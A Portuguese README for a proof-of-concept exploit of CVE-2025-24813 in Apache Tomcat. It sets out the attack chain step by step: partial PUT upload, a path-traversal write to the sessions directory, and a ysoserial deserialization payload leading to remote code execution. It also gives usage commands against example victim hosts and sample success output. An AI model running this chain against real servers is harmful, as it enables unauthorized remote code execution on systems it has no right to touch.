Este script explora a vulnerabilidade CVE-2025-24813 em versões específicas do Apache Tomcat, permitindo execução remota de código (RCE) através de um vetor de desserialização Java e abuso do método HTTP PUT para gravação arbitrária de arquivos de sessão.CVE-2025-24813 – Apache Tomcat RCE Exploit
Descrição
---------
Este script explora a vulnerabilidade CVE-2025-24813 em versões específicas do Apache Tomcat, permitindo execução remota de código (RCE) através de um vetor de desserialização Java e abuso do método HTTP PUT para gravação arbitrária de arquivos de sessão.
A vulnerabilidade afeta:
- Apache Tomcat 11.0.0-M1 até 11.0.2
- Apache Tomcat 10.1.0-M1 até 10.1.34
- Apache Tomcat 9.0.0.M1 até 9.0.98
Funcionamento Interno
---------------------
1. Obtenção do Session ID
- Acessa /index.jsp para extrair o JSESSIONID válido.
- Se não encontrar, usa um valor padrão.
2. Teste de Escrita via PUT
- Envia um arquivo teste (check.txt) para verificar se o servidor aceita requisições PUT com suporte a Content-Range.
3. Geração do Payload
- Dois modos possíveis:
- ysoserial → Usa o ysoserial para gerar um objeto serializado malicioso.
- java → Gera um .jar malicioso em Java que executa o comando desejado.
4. Upload do Payload Malicioso
- O payload é enviado para o diretório de sessões do Tomcat via path traversal (/uploads/../sessions/{JSESSIONID}.session).
5. Trigger da Execução
- Ao acessar a aplicação com o JSESSIONID malicioso, o Tomcat desserializa o objeto, executando o comando enviado.
Estrutura do Script
-------------------
get_sid → Obtém o JSESSIONID do servidor
verify_put → Testa se o método PUT está habilitado
ysoserial_payload → Cria payload usando ysoserial
java_payload → Cria payload usando código Java compilado
send_payload → Faz o upload do payload para o servidor
run_exploit → Orquestra toda a exploração
Requisitos
----------
- Python 3.x
- Java JDK
- ysoserial.jar (https://github.com/frohoff/ysoserial)
- Biblioteca requests (pip install requests)
Uso
---
python3 cve_2025_24813_exploit.py <URL_ALVO> \
--command "<COMANDO>" \
--ysoserial ysoserial.jar \
--gadget CommonsCollections6 \
--payload_type ysoserial
Exemplos:
---------
1. Usando ysoserial para abrir calculadora:
python3 cve_2025_24813_exploit.py http://192.168.0.10:8080 --command "calc.exe"
2. Usando payload Java:
python3 cve_2025_24813_exploit.py http://victim.com --payload_type java --command "id"
Demonstração de Fluxo
---------------------
1. Verificação do PUT:
[+] PUT habilitado: http://192.168.0.10:8080/check.txt
2. Criação do Payload:
[+] Criando payload ysoserial para: calc.exe
[+] Payload salvo: payload.ser
3. Envio do Payload:
[+] Payload enviado (409): http://192.168.0.10:8080/uploads/../sessions/abcd1234.session
4. Execução do Comando:
[+] Execução bem-sucedida!
Aviso Legal
------------
Este código é exclusivamente para fins educacionais e de testes em ambientes controlados (laboratórios e sistemas de sua propriedade).
O uso não autorizado contra sistemas de terceiros é ilegal e pode resultar em sanções civis e criminais.
Contact
------------
Caso queira me contatar ou precise de algum serviço, me encontre nas seguintes plataformas:
Discord User: 4wj.
Instargram: @glowwz9
Email: vliyanie1337@proton.me
[4.0K] /data/pocs/8113da9244a4ca21ba29fbb56e18327841fd7ec9
├── [5.7K] exploit.py
└── [3.1K] README.md
0 directories, 2 files